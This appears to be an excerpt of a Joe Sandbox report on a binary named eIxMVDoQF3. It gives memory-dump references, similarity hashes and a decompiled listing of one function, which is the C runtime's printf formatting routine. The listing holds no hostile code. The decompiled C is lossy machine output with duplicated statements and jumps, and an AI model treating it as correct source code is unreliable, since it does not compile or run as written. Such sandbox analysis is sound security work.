0x00000000
0x0043c952
0x0043c952
0x00000000
0x0043c952
0x0043c740
0x0043c717
0x0043c717
0x0043c71b
0x0043c728
0x0043c72e
0x0043c734
0x0043c73a
0x0043c73a
0x0043c73d
0x00000000
0x0043c73d
0x0043c71d
0x0043c723
0x0043c726
0x00000000
0x00000000
0x00000000
0x0043c726
0x0043c67c
0x0043c67f
0x0043c689
0x0043c698
0x0043c6a1
0x0043c6b7
0x0043c6bd
0x0043c6c3
0x0043c6ca
0x0043c6d2
0x0043c6d2
0x0043c6d8
0x0043c6d8
0x0043c6e7
0x0043c6ef
0x0043c65e
0x0043c664
0x0043c667
0x0043c66a
0x0043c66c
0x00000000
0x00000000
0x00000000
0x0043c66c
0x0043c65e
0x0043c59b
0x0043c59b
0x0043c5a2
0x00000000
0x00000000
0x00000000
0x0043c5d0
0x0043c5d6
0x0043c5e2
0x00000000
0x0043c5e2
0x0043c4b2

APIs

_get_int64_arg.LIBCMTD ref: 0043C4C0
__aullrem.LIBCMT ref: 0043C690
__aulldiv.LIBCMT ref: 0043C6B2

Strings

9, xrefs: 0043C6C3

Memory Dump Source

Source File: 00000000.00000002.276994985.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.276991313.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.277020013.0000000000440000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.277028554.000000000055A000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.277031435.0000000000560000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_eIxMVDoQF3.jbxd

Similarity

API ID: __aulldiv__aullrem_get_int64_arg
String ID: 9
API String ID: 3120068967-2366072709
Opcode ID: de0a5f24cca493b2017ce3d500814e98e9cc6ceb68a5fbf6a4b70a94b471b794
Instruction ID: 615d062b85cd308c4fac080d4e1bb4debc5d2d14b99519b0f7d742436df602de
Opcode Fuzzy Hash: de0a5f24cca493b2017ce3d500814e98e9cc6ceb68a5fbf6a4b70a94b471b794
Instruction Fuzzy Hash: 774117B1E402299FDB24CF48C981BAEB7B5FF89314F10559AD148B7241D738AE81CF49

Uniqueness

Uniqueness Score: -1.00%

Function 00427E0D, Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 100
COMMON

Download Yara Rule

C-Code - Quality: 77%

			E00427E0D() {
				signed int _t476;
				signed int _t497;
				signed int _t532;
				signed int _t545;
				signed int _t549;
				signed short _t550;
				signed int _t553;
				signed int _t556;
				signed int _t557;
				signed int _t605;
				signed int _t613;
				signed int _t615;
				signed int _t617;
				signed int _t624;
				signed int _t628;
				signed int _t665;
				signed int _t668;
				void* _t670;

				L0:
				while(1) {
					L0:
					 *(_t668 - 8) = 8;
					if(( *(_t668 - 0x10) & 0x00000080) != 0) {
						__edx =  *(__ebp - 0x10);
						__edx =  *(__ebp - 0x10) | 0x00000200;
						__eflags = __edx;
						 *(__ebp - 0x10) = __edx;
					}
					while(1) {
						L144:
						__eflags =  *(_t668 - 0x10) & 0x00008000;
						if(( *(_t668 - 0x10) & 0x00008000) == 0) {
							_t615 =  *(_t668 - 0x10) & 0x00001000;
							__eflags = _t615;
							if(_t615 == 0) {
								__eflags =  *(_t668 - 0x10) & 0x00000020;
								if(( *(_t668 - 0x10) & 0x00000020) == 0) {
									_t617 =  *(_t668 - 0x10) & 0x00000040;
									__eflags = _t617;
									if(_t617 == 0) {
										_t476 = E004283F0(_t668 + 0x14);
										_t670 = _t670 + 4;
										__eflags = 0;
										 *(_t668 - 0x2b0) = _t476;
										 *(_t668 - 0x2ac) = 0;
									} else {
										_t549 = E004283F0(_t668 + 0x14);
										_t670 = _t670 + 4;
										asm("cdq");
										 *(_t668 - 0x2b0) = _t549;
										 *(_t668 - 0x2ac) = _t617;
									}
								} else {
									_t665 =  *(_t668 - 0x10) & 0x00000040;
									__eflags = _t665;
									if(_t665 == 0) {
										_t550 = E004283F0(_t668 + 0x14);
										_t670 = _t670 + 4;
										asm("cdq");
										 *(_t668 - 0x2b0) = _t550 & 0x0000ffff;
										 *(_t668 - 0x2ac) = _t665;
									} else {
										_t553 = E004283F0(_t668 + 0x14);
										_t670 = _t670 + 4;
										asm("cdq");
										 *(_t668 - 0x2b0) = _t553;
										 *(_t668 - 0x2ac) = _t665;
									}
								}
							} else {
								_t556 = E00428410(_t668 + 0x14);
								_t670 = _t670 + 4;
								 *(_t668 - 0x2b0) = _t556;
								 *(_t668 - 0x2ac) = _t615;
							}
						} else {
							_t557 = E00428410(_t668 + 0x14);
							_t670 = _t670 + 4;
							 *(_t668 - 0x2b0) = _t557;
							 *(_t668 - 0x2ac) = _t613;
						}
						__eflags =  *(_t668 - 0x10) & 0x00000040;
						if(( *(_t668 - 0x10) & 0x00000040) == 0) {
							goto L161;
						}
						L157:
						__eflags =  *(_t668 - 0x2ac);
						if(__eflags > 0) {
							goto L161;
						}
						L158:
						if(__eflags < 0) {
							L160:
							asm("adc edx, 0x0");
							 *(_t668 - 0x2b8) =  ~( *(_t668 - 0x2b0));
							 *(_t668 - 0x2b4) =  ~( *(_t668 - 0x2ac));
							 *(_t668 - 0x10) =  *(_t668 - 0x10) | 0x00000100;
							L162:
							__eflags =  *(_t668 - 0x10) & 0x00008000;
							if(( *(_t668 - 0x10) & 0x00008000) == 0) {
								__eflags =  *(_t668 - 0x10) & 0x00001000;
								if(( *(_t668 - 0x10) & 0x00001000) == 0) {
									_t545 =  *(_t668 - 0x2b4) & 0x00000000;
									__eflags = _t545;
									 *(_t668 - 0x2b4) = _t545;
								}
							}
							__eflags =  *(_t668 - 0x30);
							if( *(_t668 - 0x30) >= 0) {
								 *(_t668 - 0x10) =  *(_t668 - 0x10) & 0xfffffff7;
								__eflags =  *(_t668 - 0x30) - 0x200;
								if( *(_t668 - 0x30) > 0x200) {
									 *(_t668 - 0x30) = 0x200;
								}
							} else {
								 *(_t668 - 0x30) = 1;
							}
							__eflags =  *(_t668 - 0x2b8) |  *(_t668 - 0x2b4);
							if(( *(_t668 - 0x2b8) |  *(_t668 - 0x2b4)) == 0) {
								 *(_t668 - 0x1c) = 0;
							}
							 *((intOrPtr*)(_t668 - 4)) = _t668 - 0x49;
							while(1) {
								L172:
								_t623 =  *(_t668 - 0x30) - 1;
								 *(_t668 - 0x30) =  *(_t668 - 0x30) - 1;
								__eflags =  *(_t668 - 0x30);
								if( *(_t668 - 0x30) > 0) {
									goto L174;
								}
								L173:
								__eflags =  *(_t668 - 0x2b8) |  *(_t668 - 0x2b4);
								if(( *(_t668 - 0x2b8) |  *(_t668 - 0x2b4)) == 0) {
									L177:
									 *(_t668 - 0x24) = _t668 - 0x49 -  *((intOrPtr*)(_t668 - 4));
									 *((intOrPtr*)(_t668 - 4)) =  *((intOrPtr*)(_t668 - 4)) + 1;
									__eflags =  *(_t668 - 0x10) & 0x00000200;
									if(( *(_t668 - 0x10) & 0x00000200) == 0) {
										while(1) {
											L181:
											__eflags =  *(_t668 - 0x28);
											if( *(_t668 - 0x28) != 0) {
												goto L207;
											}
											L182:
											__eflags =  *(_t668 - 0x10) & 0x00000040;
											if(( *(_t668 - 0x10) & 0x00000040) != 0) {
												__eflags =  *(_t668 - 0x10) & 0x00000100;
												if(( *(_t668 - 0x10) & 0x00000100) == 0) {
													__eflags =  *(_t668 - 0x10) & 0x00000001;
													if(( *(_t668 - 0x10) & 0x00000001) == 0) {
														__eflags =  *(_t668 - 0x10) & 0x00000002;
														if(( *(_t668 - 0x10) & 0x00000002) != 0) {
															 *((char*)(_t668 - 0x14)) = 0x20;
															 *(_t668 - 0x1c) = 1;
														}
													} else {
														 *((char*)(_t668 - 0x14)) = 0x2b;
														 *(_t668 - 0x1c) = 1;
													}
												} else {
													 *((char*)(_t668 - 0x14)) = 0x2d;
													 *(_t668 - 0x1c) = 1;
												}
											}
											 *((intOrPtr*)(_t668 - 0x2bc)) =  *((intOrPtr*)(_t668 - 0x18)) -  *(_t668 - 0x24) -  *(_t668 - 0x1c);
											__eflags =  *(_t668 - 0x10) & 0x0000000c;
											if(( *(_t668 - 0x10) & 0x0000000c) == 0) {
												E004357B0(0x20,  *((intOrPtr*)(_t668 - 0x2bc)),  *((intOrPtr*)(_t668 + 8)), _t668 - 0x24c);
												_t670 = _t670 + 0x10;
											}
											E004357F0( *(_t668 - 0x1c), _t668 - 0x14,  *(_t668 - 0x1c),  *((intOrPtr*)(_t668 + 8)), _t668 - 0x24c);
											_t670 = _t670 + 0x10;
											__eflags =  *(_t668 - 0x10) & 0x00000008;
											if(( *(_t668 - 0x10) & 0x00000008) != 0) {
												__eflags =  *(_t668 - 0x10) & 0x00000004;
												if(( *(_t668 - 0x10) & 0x00000004) == 0) {
													E004357B0(0x30,  *((intOrPtr*)(_t668 - 0x2bc)),  *((intOrPtr*)(_t668 + 8)), _t668 - 0x24c);
													_t670 = _t670 + 0x10;
												}
											}
											__eflags =  *(_t668 - 0xc);
											if( *(_t668 - 0xc) == 0) {
												L203:
												E004357F0( *((intOrPtr*)(_t668 - 4)),  *((intOrPtr*)(_t668 - 4)),  *(_t668 - 0x24),  *((intOrPtr*)(_t668 + 8)), _t668 - 0x24c);
												_t670 = _t670 + 0x10;
												goto L204;
											} else {
												L195:
												__eflags =  *(_t668 - 0x24);
												if( *(_t668 - 0x24) <= 0) {
													goto L203;
												}
												L196:
												 *(_t668 - 0x2d4) = 0;
												 *((intOrPtr*)(_t668 - 0x2c0)) =  *((intOrPtr*)(_t668 - 4));
												 *(_t668 - 0x2c4) =  *(_t668 - 0x24);
												while(1) {
													L197:
													 *(_t668 - 0x2c4) =  *(_t668 - 0x2c4) - 1;
													__eflags =  *(_t668 - 0x2c4);
													if( *(_t668 - 0x2c4) == 0) {
														break;
													}
													L198:
													 *(_t668 - 0x316) =  *((intOrPtr*)( *((intOrPtr*)(_t668 - 0x2c0))));
													_t532 = E004342C0(_t668 - 0x2c8, _t668 - 0x2d0, 6,  *(_t668 - 0x316) & 0x0000ffff);
													_t670 = _t670 + 0x10;
													 *(_t668 - 0x2d4) = _t532;
													 *((intOrPtr*)(_t668 - 0x2c0)) =  *((intOrPtr*)(_t668 - 0x2c0)) + 2;
													__eflags =  *(_t668 - 0x2d4);
													if( *(_t668 - 0x2d4) != 0) {
														L200:
														 *(_t668 - 0x24c) = 0xffffffff;
														break;
													}
													L199:
													__eflags =  *(_t668 - 0x2c8);
													if( *(_t668 - 0x2c8) != 0) {
														L201:
														E004357F0( *((intOrPtr*)(_t668 + 8)), _t668 - 0x2d0,  *(_t668 - 0x2c8),  *((intOrPtr*)(_t668 + 8)), _t668 - 0x24c);
														_t670 = _t670 + 0x10;
														continue;
													}
													goto L200;
												}
												L202:
												L204:
												__eflags =  *(_t668 - 0x24c);
												if( *(_t668 - 0x24c) >= 0) {
													__eflags =  *(_t668 - 0x10) & 0x00000004;
													if(( *(_t668 - 0x10) & 0x00000004) != 0) {
														E004357B0(0x20,  *((intOrPtr*)(_t668 - 0x2bc)),  *((intOrPtr*)(_t668 + 8)), _t668 - 0x24c);
														_t670 = _t670 + 0x10;
													}
												}
											}
											L207:
											__eflags =  *(_t668 - 0x20);
											if( *(_t668 - 0x20) != 0) {
												L0041C5D0( *(_t668 - 0x20), 2);
												_t670 = _t670 + 8;
												 *(_t668 - 0x20) = 0;
											}
											while(1) {
												L209:
												 *(_t668 - 0x251) =  *((intOrPtr*)( *((intOrPtr*)(_t668 + 0xc))));
												 *((intOrPtr*)(_t668 + 0xc)) =  *((intOrPtr*)(_t668 + 0xc)) + 1;
												if( *(_t668 - 0x251) == 0 ||  *(_t668 - 0x24c) < 0) {
													break;
												} else {
													if( *(_t668 - 0x251) < 0x20 ||  *(_t668 - 0x251) > 0x78) {
														 *(_t668 - 0x2fc) = 0;
													} else {
														 *(_t668 - 0x2fc) =  *( *(_t668 - 0x251) + 0x404460) & 0x0000000f;
													}
												}
												L7:
												 *(_t668 - 0x250) =  *(_t668 - 0x2fc);
												_t20 =  *(_t668 - 0x250) * 8; // 0x6000006
												 *(_t668 - 0x25c) =  *( *(_t668 - 0x25c) + _t20 + 0x404480) >> 4;
												 *(_t668 - 0x300) =  *(_t668 - 0x25c);
												if( *(_t668 - 0x300) > 7) {
													continue;
												}
												L8:
												switch( *((intOrPtr*)( *(_t668 - 0x300) * 4 +  &M004282E8))) {
													case 0:
														L9:
														 *(_t668 - 0xc) = 0;
														_t502 = E004312B0( *(_t668 - 0x251) & 0x000000ff, E0041AEE0(_t668 - 0x40));
														_t672 = _t670 + 8;
														if(_t502 == 0) {
															L15:
															E00435710( *(_t668 - 0x251) & 0x000000ff,  *(_t668 - 0x251) & 0x000000ff,  *((intOrPtr*)(_t668 + 8)), _t668 - 0x24c);
															_t670 = _t672 + 0xc;
															goto L209;
														} else {
															E00435710( *((intOrPtr*)(_t668 + 8)),  *(_t668 - 0x251) & 0x000000ff,  *((intOrPtr*)(_t668 + 8)), _t668 - 0x24c);
															_t672 = _t672 + 0xc;
															_t584 =  *((intOrPtr*)( *((intOrPtr*)(_t668 + 0xc))));
															 *(_t668 - 0x251) =  *((intOrPtr*)( *((intOrPtr*)(_t668 + 0xc))));
															_t631 =  *((intOrPtr*)(_t668 + 0xc)) + 1;
															 *((intOrPtr*)(_t668 + 0xc)) = _t631;
															asm("sbb eax, eax");
															 *(_t668 - 0x278) =  ~( ~( *(_t668 - 0x251)));
															if(_t631 == 0) {
																_push(L"(ch != _T(\'\\0\'))");
																_push(0);
																_push(0x486);
																_push(L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c");
																_push(2);
																_t514 = L0041E410();
																_t672 = _t672 + 0x14;
																if(_t514 == 1) {
																	asm("int3");
																}
															}
															L13:
															if( *(_t668 - 0x278) != 0) {
																goto L15;
															} else {
																 *((intOrPtr*)(L00422F00(_t584))) = 0x16;
																E00422C90(_t558, _t584, _t666, _t667, L"(ch != _T(\'\\0\'))", L"_output_l", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c", 0x486, 0);
																 *(_t668 - 0x2e4) = 0xffffffff;
																E0041AEB0(_t668 - 0x40);
																_t497 =  *(_t668 - 0x2e4);
																goto L211;
															}
														}
													case 1:
														L16:
														 *(__ebp - 0x2c) = 0;
														__edx =  *(__ebp - 0x2c);
														 *(__ebp - 0x28) =  *(__ebp - 0x2c);
														__eax =  *(__ebp - 0x28);
														 *(__ebp - 0x18) =  *(__ebp - 0x28);
														__ecx =  *(__ebp - 0x18);
														 *(__ebp - 0x1c) = __ecx;
														 *(__ebp - 0x10) = 0;
														 *(__ebp - 0x30) = 0xffffffff;
														 *(__ebp - 0xc) = 0;
														goto L209;
													case 2:
														L17:
														__edx =  *((char*)(__ebp - 0x251));
														 *(__ebp - 0x304) =  *((char*)(__ebp - 0x251));
														 *(__ebp - 0x304) =  *(__ebp - 0x304) - 0x20;
														 *(__ebp - 0x304) =  *(__ebp - 0x304) - 0x20;
														__eflags =  *(__ebp - 0x304) - 0x10;
														if( *(__ebp - 0x304) > 0x10) {
															goto L24;
														}
														L18:
														__ecx =  *(__ebp - 0x304);
														_t64 = __ecx + 0x428320; // 0x498d04
														__edx =  *_t64 & 0x000000ff;
														switch( *((intOrPtr*)(( *_t64 & 0x000000ff) * 4 +  &M00428308))) {
															case 0:
																goto L21;
															case 1:
																goto L22;
															case 2:
																goto L20;
															case 3:
																goto L19;
															case 4:
																goto L23;
															case 5:
																goto L24;
														}
													case 3:
														L25:
														__edx =  *((char*)(__ebp - 0x251));
														__eflags =  *((char*)(__ebp - 0x251)) - 0x2a;
														if( *((char*)(__ebp - 0x251)) != 0x2a) {
															__eax =  *(__ebp - 0x18);
															__eax =  *(__ebp - 0x18) * 0xa;
															__eflags = __eax;
															__ecx =  *((char*)(__ebp - 0x251));
															_t88 = __ecx - 0x30; // -48
															__edx = __eax + _t88;
															 *(__ebp - 0x18) = __eax + _t88;
														} else {
															__eax = __ebp + 0x14;
															 *(__ebp - 0x18) = E004283F0(__ebp + 0x14);
															__eflags =  *(__ebp - 0x18);
															if( *(__ebp - 0x18) < 0) {
																__ecx =  *(__ebp - 0x10);
																__ecx =  *(__ebp - 0x10) | 0x00000004;
																__eflags = __ecx;
																 *(__ebp - 0x10) = __ecx;
																 *(__ebp - 0x18) =  ~( *(__ebp - 0x18));
																 *(__ebp - 0x18) =  ~( *(__ebp - 0x18));
															}
														}
														L30:
														goto L209;
													case 4:
														L31:
														 *(__ebp - 0x30) = 0;
														goto L209;
													case 5:
														L32:
														__eax =  *((char*)(__ebp - 0x251));
														__eflags =  *((char*)(__ebp - 0x251)) - 0x2a;
														if( *((char*)(__ebp - 0x251)) != 0x2a) {
															__edx =  *(__ebp - 0x30);
															__edx =  *(__ebp - 0x30) * 0xa;
															__eflags = __edx;
															_t99 =  *((char*)(__ebp - 0x251)) - 0x30; // -48
															__ecx = __edx + _t99;
															 *(__ebp - 0x30) = __ecx;
														} else {
															__ecx = __ebp + 0x14;
															 *(__ebp - 0x30) = E004283F0(__ebp + 0x14);
															__eflags =  *(__ebp - 0x30);
															if( *(__ebp - 0x30) < 0) {
																 *(__ebp - 0x30) = 0xffffffff;
															}
														}
														goto L209;
													case 6:
														L38:
														__edx =  *((char*)(__ebp - 0x251));
														 *(__ebp - 0x308) =  *((char*)(__ebp - 0x251));
														 *(__ebp - 0x308) =  *(__ebp - 0x308) - 0x49;
														 *(__ebp - 0x308) =  *(__ebp - 0x308) - 0x49;
														__eflags =  *(__ebp - 0x308) - 0x2e;
														if( *(__ebp - 0x308) > 0x2e) {
															L61:
															goto L209;
														}
														L39:
														__ecx =  *(__ebp - 0x308);
														_t107 = __ecx + 0x428348; // 0x7bff9003
														__edx =  *_t107 & 0x000000ff;
														switch( *((intOrPtr*)(( *_t107 & 0x000000ff) * 4 +  &M00428334))) {
															case 0:
																L44:
																__edx =  *(__ebp + 0xc);
																__eax =  *( *(__ebp + 0xc));
																__eflags =  *( *(__ebp + 0xc)) - 0x36;
																if( *( *(__ebp + 0xc)) != 0x36) {
																	L47:
																	__edx =  *(__ebp + 0xc);
																	__eax =  *( *(__ebp + 0xc));
																	__eflags =  *( *(__ebp + 0xc)) - 0x33;
																	if( *( *(__ebp + 0xc)) != 0x33) {
																		L50:
																		__edx =  *(__ebp + 0xc);
																		__eax =  *( *(__ebp + 0xc));
																		__eflags =  *( *(__ebp + 0xc)) - 0x64;
																		if( *( *(__ebp + 0xc)) == 0x64) {
																			L56:
																			L58:
																			goto L61;
																		}
																		L51:
																		__ecx =  *(__ebp + 0xc);
																		__edx =  *__ecx;
																		__eflags =  *__ecx - 0x69;
																		if( *__ecx == 0x69) {
																			goto L56;
																		}
																		L52:
																		__eax =  *(__ebp + 0xc);
																		__ecx =  *( *(__ebp + 0xc));
																		__eflags = __ecx - 0x6f;
																		if(__ecx == 0x6f) {
																			goto L56;
																		}
																		L53:
																		__edx =  *(__ebp + 0xc);
																		__eax =  *( *(__ebp + 0xc));
																		__eflags =  *( *(__ebp + 0xc)) - 0x75;
																		if( *( *(__ebp + 0xc)) == 0x75) {
																			goto L56;
																		}
																		L54:
																		__ecx =  *(__ebp + 0xc);
																		__edx =  *__ecx;
																		__eflags =  *__ecx - 0x78;
																		if( *__ecx == 0x78) {
																			goto L56;
																		}
																		L55:
																		__eax =  *(__ebp + 0xc);
																		__ecx =  *( *(__ebp + 0xc));
																		__eflags = __ecx - 0x58;
																		if(__ecx != 0x58) {
																			 *(__ebp - 0x25c) = 0;
																			goto L9;
																		}
																		goto L56;
																	}
																	L48:
																	__ecx =  *(__ebp + 0xc);
																	__edx =  *((char*)(__ecx + 1));
																	__eflags =  *((char*)(__ecx + 1)) - 0x32;
																	if( *((char*)(__ecx + 1)) != 0x32) {
																		goto L50;
																	} else {
																		 *(__ebp + 0xc) =  *(__ebp + 0xc) + 2;
																		 *(__ebp + 0xc) =  *(__ebp + 0xc) + 2;
																		__ecx =  *(__ebp - 0x10);
																		__ecx =  *(__ebp - 0x10) & 0xffff7fff;
																		 *(__ebp - 0x10) = __ecx;
																		goto L58;
																	}
																}
																L45:
																__ecx =  *(__ebp + 0xc);
																__edx =  *((char*)(__ecx + 1));
																__eflags =  *((char*)(__ecx + 1)) - 0x34;
																if( *((char*)(__ecx + 1)) != 0x34) {
																	goto L47;
																} else {
																	 *(__ebp + 0xc) =  *(__ebp + 0xc) + 2;
																	 *(__ebp + 0xc) =  *(__ebp + 0xc) + 2;
																	__ecx =  *(__ebp - 0x10);
																	__ecx =  *(__ebp - 0x10) | 0x00008000;
																	 *(__ebp - 0x10) = __ecx;
																	goto L58;
																}
															case 1:
																L59:
																 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000020;
																 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000020;
																goto L61;
															case 2:
																L40:
																__eax =  *(__ebp + 0xc);
																__ecx =  *( *(__ebp + 0xc));
																__eflags = __ecx - 0x6c;
																if(__ecx != 0x6c) {
																	__ecx =  *(__ebp - 0x10);
																	__ecx =  *(__ebp - 0x10) | 0x00000010;
																	__eflags = __ecx;
																	 *(__ebp - 0x10) = __ecx;
																} else {
																	 *(__ebp + 0xc) =  *(__ebp + 0xc) + 1;
																	 *(__ebp + 0xc) =  *(__ebp + 0xc) + 1;
																	 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00001000;
																	 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00001000;
																}
																goto L61;
															case 3:
																L60:
																__eax =  *(__ebp - 0x10);
																__eax =  *(__ebp - 0x10) | 0x00000800;
																__eflags = __eax;
																 *(__ebp - 0x10) = __eax;
																goto L61;
															case 4:
																goto L61;
														}
													case 7:
														L62:
														__ecx =  *((char*)(__ebp - 0x251));
														 *(__ebp - 0x30c) = __ecx;
														 *(__ebp - 0x30c) =  *(__ebp - 0x30c) - 0x41;
														 *(__ebp - 0x30c) =  *(__ebp - 0x30c) - 0x41;
														__eflags =  *(__ebp - 0x30c) - 0x37;
														if( *(__ebp - 0x30c) > 0x37) {
															while(1) {
																L181:
																__eflags =  *(_t668 - 0x28);
																if( *(_t668 - 0x28) != 0) {
																	goto L207;
																}
																goto L182;
															}
														}
														L63:
														_t148 =  *(__ebp - 0x30c) + 0x4283b4; // 0xcccccc0d
														__ecx =  *_t148 & 0x000000ff;
														switch( *((intOrPtr*)(__ecx * 4 +  &M00428378))) {
															case 0:
																L114:
																 *(__ebp - 0x2c) = 1;
																__ecx =  *((char*)(__ebp - 0x251));
																__ecx =  *((char*)(__ebp - 0x251)) + 0x20;
																__eflags = __ecx;
																 *((char*)(__ebp - 0x251)) = __cl;
																goto L115;
															case 1:
																L64:
																 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000830;
																__eflags =  *(__ebp - 0x10) & 0x00000830;
																if(( *(__ebp - 0x10) & 0x00000830) == 0) {
																	__eax =  *(__ebp - 0x10);
																	__eax =  *(__ebp - 0x10) | 0x00000800;
																	__eflags = __eax;
																	 *(__ebp - 0x10) = __eax;
																}
																goto L66;
															case 2:
																L79:
																 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000830;
																__eflags =  *(__ebp - 0x10) & 0x00000830;
																if(( *(__ebp - 0x10) & 0x00000830) == 0) {
																	__ecx =  *(__ebp - 0x10);
																	__ecx =  *(__ebp - 0x10) | 0x00000800;
																	__eflags = __ecx;
																	 *(__ebp - 0x10) = __ecx;
																}
																goto L81;
															case 3:
																L138:
																 *(__ebp - 0x260) = 7;
																goto L140;
															case 4:
																L72:
																__eax = __ebp + 0x14;
																 *(__ebp - 0x284) = E004283F0(__ebp + 0x14);
																__eflags =  *(__ebp - 0x284);
																if( *(__ebp - 0x284) == 0) {
																	L74:
																	__edx =  *0x440f80; // 0x404478
																	 *(__ebp - 4) = __edx;
																	__eax =  *(__ebp - 4);
																	 *(__ebp - 0x24) = E0041DEB0( *(__ebp - 4));
																	L78:
																	goto L181;
																}
																L73:
																__ecx =  *(__ebp - 0x284);
																__eflags =  *(__ecx + 4);
																if( *(__ecx + 4) != 0) {
																	 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000800;
																	__eflags =  *(__ebp - 0x10) & 0x00000800;
																	if(( *(__ebp - 0x10) & 0x00000800) == 0) {
																		 *(__ebp - 0xc) = 0;
																		__edx =  *(__ebp - 0x284);
																		__eax =  *(__edx + 4);
																		 *(__ebp - 4) =  *(__edx + 4);
																		__ecx =  *(__ebp - 0x284);
																		__edx =  *__ecx;
																		 *(__ebp - 0x24) =  *__ecx;
																	} else {
																		__edx =  *(__ebp - 0x284);
																		__eax =  *(__edx + 4);
																		 *(__ebp - 4) =  *(__edx + 4);
																		__ecx =  *(__ebp - 0x284);
																		__eax =  *__ecx;
																		asm("cdq");
																		 *__ecx - __edx =  *__ecx - __edx >> 1;
																		 *(__ebp - 0x24) =  *__ecx - __edx >> 1;
																		 *(__ebp - 0xc) = 1;
																	}
																	goto L78;
																}
																goto L74;
															case 5:
																L115:
																 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000040;
																 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000040;
																__eax = __ebp - 0x248;
																 *(__ebp - 4) = __ebp - 0x248;
																 *(__ebp - 0x44) = 0x200;
																__eflags =  *(__ebp - 0x30);
																if( *(__ebp - 0x30) >= 0) {
																	L117:
																	__eflags =  *(__ebp - 0x30);
																	if( *(__ebp - 0x30) != 0) {
																		L120:
																		__eflags =  *(__ebp - 0x30) - 0x200;
																		if( *(__ebp - 0x30) > 0x200) {
																			 *(__ebp - 0x30) = 0x200;
																		}
																		L122:
																		__eflags =  *(__ebp - 0x30) - 0xa3;
																		if( *(__ebp - 0x30) > 0xa3) {
																			 *(__ebp - 0x30) =  *(__ebp - 0x30) + 0x15d;
																			 *(__ebp - 0x20) = L0041B950(__ecx,  *(__ebp - 0x30) + 0x15d, 2, "f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c", 0x6da);
																			__eflags =  *(__ebp - 0x20);
																			if( *(__ebp - 0x20) == 0) {
																				 *(__ebp - 0x30) = 0xa3;
																			} else {
																				__eax =  *(__ebp - 0x20);
																				 *(__ebp - 4) =  *(__ebp - 0x20);
																				 *(__ebp - 0x30) =  *(__ebp - 0x30) + 0x15d;
																				 *(__ebp - 0x44) =  *(__ebp - 0x30) + 0x15d;
																			}
																		}
																		 *(__ebp + 0x14) =  *(__ebp + 0x14) + 8;
																		 *(__ebp + 0x14) =  *(__ebp + 0x14) + 8;
																		__eax =  *(__ebp + 0x14);
																		_t275 = __eax - 8; // 0xe852f855
																		__ecx =  *_t275;
																		_t276 = __eax - 4; // 0xbc20
																		__edx =  *_t276;
																		 *(__ebp - 0x2a0) =  *_t275;
																		 *(__ebp - 0x29c) =  *_t276;
																		__ecx = __ebp - 0x40;
																		_push(E0041AEE0(__ebp - 0x40));
																		__eax =  *(__ebp - 0x2c);
																		_push( *(__ebp - 0x2c));
																		__ecx =  *(__ebp - 0x30);
																		_push( *(__ebp - 0x30));
																		__edx =  *((char*)(__ebp - 0x251));
																		_push( *((char*)(__ebp - 0x251)));
																		__eax =  *(__ebp - 0x44);
																		_push( *(__ebp - 0x44));
																		__ecx =  *(__ebp - 4);
																		_push( *(__ebp - 4));
																		__edx = __ebp - 0x2a0;
																		_push(__ebp - 0x2a0);
																		__eax =  *0x440374; // 0xab8ad97d
																		__eax =  *__eax();
																		__esp = __esp + 0x1c;
																		 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
																		__eflags =  *(__ebp - 0x10) & 0x00000080;
																		if(( *(__ebp - 0x10) & 0x00000080) != 0) {
																			__eflags =  *(__ebp - 0x30);
																			if( *(__ebp - 0x30) == 0) {
																				__ecx = __ebp - 0x40;
																				_push(E0041AEE0(__ebp - 0x40));
																				__edx =  *(__ebp - 4);
																				_push( *(__ebp - 4));
																				__eax =  *0x440380; // 0x2b8ac62f
																				__eax =  *__eax();
																				__esp = __esp + 8;
																			}
																		}
																		__ecx =  *((char*)(__ebp - 0x251));
																		__eflags =  *((char*)(__ebp - 0x251)) - 0x67;
																		if( *((char*)(__ebp - 0x251)) == 0x67) {
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
																			__eflags =  *(__ebp - 0x10) & 0x00000080;
																			if(( *(__ebp - 0x10) & 0x00000080) == 0) {
																				__ecx = __ebp - 0x40;
																				_push(E0041AEE0(__ebp - 0x40));
																				__eax =  *(__ebp - 4);
																				_push( *(__ebp - 4));
																				__ecx =  *0x44037c; // 0x2b8ac616
																				E00424750(__ecx) =  *__eax();
																				__esp = __esp + 8;
																			}
																		}
																		__edx =  *(__ebp - 4);
																		__eax =  *( *(__ebp - 4));
																		__eflags =  *( *(__ebp - 4)) - 0x2d;
																		if( *( *(__ebp - 4)) == 0x2d) {
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000100;
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000100;
																			__edx =  *(__ebp - 4);
																			__edx =  *(__ebp - 4) + 1;
																			__eflags = __edx;
																			 *(__ebp - 4) = __edx;
																		}
																		__eax =  *(__ebp - 4);
																		 *(__ebp - 0x24) = E0041DEB0( *(__ebp - 4));
																		do {
																			L181:
																			__eflags =  *(_t668 - 0x28);
																			if( *(_t668 - 0x28) != 0) {
																				goto L207;
																			}
																			goto L182;
																		} while ( *(__ebp - 0x30c) > 0x37);
																		goto L63;
																	}
																	L118:
																	__ecx =  *((char*)(__ebp - 0x251));
																	__eflags = __ecx - 0x67;
																	if(__ecx != 0x67) {
																		goto L120;
																	}
																	L119:
																	 *(__ebp - 0x30) = 1;
																	goto L122;
																}
																L116:
